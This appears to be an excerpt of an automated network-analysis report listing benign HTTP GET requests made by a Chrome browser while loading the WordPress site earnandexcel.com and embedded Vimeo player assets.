Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/edumall-shape-01.png HTTP/1.1Host: earnandexcel.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: nitroCachedPage=0
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/edumall-shape-grid-dots-02.png HTTP/1.1Host: earnandexcel.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: nitroCachedPage=0
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/edumall/assets/svg/headline-curve.svg HTTP/1.1Host: earnandexcel.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: nitroCachedPage=0; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22}
Source: global traffic	HTTP traffic detected: GET /p/4.29.4/js/player.module.js HTTP/1.1Host: f.vimeocdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://player.vimeo.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://player.vimeo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/Earn-And-Excel-Logo-2-296x100.png HTTP/1.1Host: earnandexcel.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: nitroCachedPage=0; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22}
Source: global traffic	HTTP traffic detected: GET /video/755912404-7b63338d02fc79560c0570e832acf14f8130f0197c8c7bd50735d0c605a9e6ed-d?mw=80&q=85 HTTP/1.1Host: i.vimeocdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://player.vimeo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/Earn-And-Excel-Logo-1-148x50.png HTTP/1.1Host: earnandexcel.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: nitroCachedPage=0; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22}
Source: global traffic	HTTP traffic detected: GET /p/4.29.4/css/player.css HTTP/1.1Host: f.vimeocdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://player.vimeo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/home-03-hero-image-01.jpg HTTP/1.1Host: earnandexcel.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: nitroCachedPage=0
Source: global traffic	HTTP traffic detected: GET /p/4.29.4/js/vendor.module.js HTTP/1.1Host: f.vimeocdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://player.vimeo.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://player.vimeo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/counter-media-01.png HTTP/1.1Host: earnandexcel.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/counter-media-02.png HTTP/1.1Host: earnandexcel.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/counter-media-03.png HTTP/1.1Host: earnandexcel.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/edumall-shape-grid-dots-02.png HTTP/1.1Host: earnandexcel.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: nitroCachedPage=0; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}}
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/counter-media-04.png HTTP/1.1Host: earnandexcel.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/edumall/assets/images/cursor/light-close.png HTTP/1.1Host: earnandexcel.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: nitroCachedPage=0; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}}
Source: global traffic	HTTP traffic detected: GET /video/755912404-7b63338d02fc79560c0570e832acf14f8130f0197c8c7bd50735d0c605a9e6ed-d?mw=80&q=85 HTTP/1.1Host: i.vimeocdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/elementor/assets/lib/animations/animations.min.css HTTP/1.1Host: earnandexcel.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/edumall-shape-01.png HTTP/1.1Host: earnandexcel.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: nitroCachedPage=0; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}}
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/counter-media-01.png HTTP/1.1Host: earnandexcel.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: nitroCachedPage=0; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}}
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/counter-media-02.png HTTP/1.1Host: earnandexcel.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: nitroCachedPage=0; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}}
Source: global traffic	HTTP traffic detected: GET /js_opt/modules/utils/vuid.min.js HTTP/1.1Host: f.vimeocdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://player.vimeo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/edumall/assets/libs/polyfill/intersection-observer.min.js HTTP/1.1Host: earnandexcel.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: nitroCachedPage=0; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}}
Source: global traffic	HTTP traffic detected: GET /video/755912404-7b63338d02fc79560c0570e832acf14f8130f0197c8c7bd50735d0c605a9e6ed-d?mw=600&mh=338 HTTP/1.1Host: i.vimeocdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://player.vimeo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/link-whisper-premium/js/frontend.js HTTP/1.1Host: earnandexcel.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: nitroCachedPage=0; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}}
Source: global traffic	HTTP traffic detected: GET /wp-includes/js/dist/vendor/wp-polyfill.min.js HTTP/1.1Host: earnandexcel.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: nitroCachedPage=0; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}}
Source: global traffic	HTTP traffic detected: GET /wp-includes/js/dist/hooks.min.js HTTP/1.1Host: earnandexcel.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: nitroCachedPage=0; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}}
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/counter-media-03.png HTTP/1.1Host: earnandexcel.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: nitroCachedPage=0; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}}
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/counter-media-04.png HTTP/1.1Host: earnandexcel.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: nitroCachedPage=0; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}}
Source: global traffic	HTTP traffic detected: GET /wp-includes/js/dist/i18n.min.js HTTP/1.1Host: earnandexcel.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: nitroCachedPage=0; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}}
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/tutor/assets/js/tutor.min.js HTTP/1.1Host: earnandexcel.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: nitroCachedPage=0; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}}
Source: global traffic	HTTP traffic detected: GET /video/755912404-7b63338d02fc79560c0570e832acf14f8130f0197c8c7bd50735d0c605a9e6ed-d?mw=600&mh=338 HTTP/1.1Host: i.vimeocdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-includes/js/quicktags.min.js HTTP/1.1Host: earnandexcel.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: nitroCachedPage=0; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}}
Source: global traffic	HTTP traffic detected: GET /wp-includes/js/jquery/ui/core.min.js HTTP/1.1Host: earnandexcel.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: nitroCachedPage=0; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}}
Source: global traffic	HTTP traffic detected: GET /wp-includes/js/jquery/ui/mouse.min.js HTTP/1.1Host: earnandexcel.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: nitroCachedPage=0; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}}
Source: global traffic	HTTP traffic detected: GET /wp-includes/js/jquery/ui/sortable.min.js HTTP/1.1Host: earnandexcel.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: nitroCachedPage=0; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}}
Source: global traffic	HTTP traffic detected: GET /wp-includes/js/jquery/jquery.ui.touch-punch.js HTTP/1.1Host: earnandexcel.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: nitroCachedPage=0; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}}
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/tutor/assets/js/tutor-front.min.js HTTP/1.1Host: earnandexcel.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: nitroCachedPage=0; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}}
Source: global traffic	HTTP traffic detected: GET /wp-includes/js/jquery/ui/datepicker.min.js HTTP/1.1Host: earnandexcel.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: nitroCachedPage=0; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}}; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga=GA1.1.668614997.1712870801
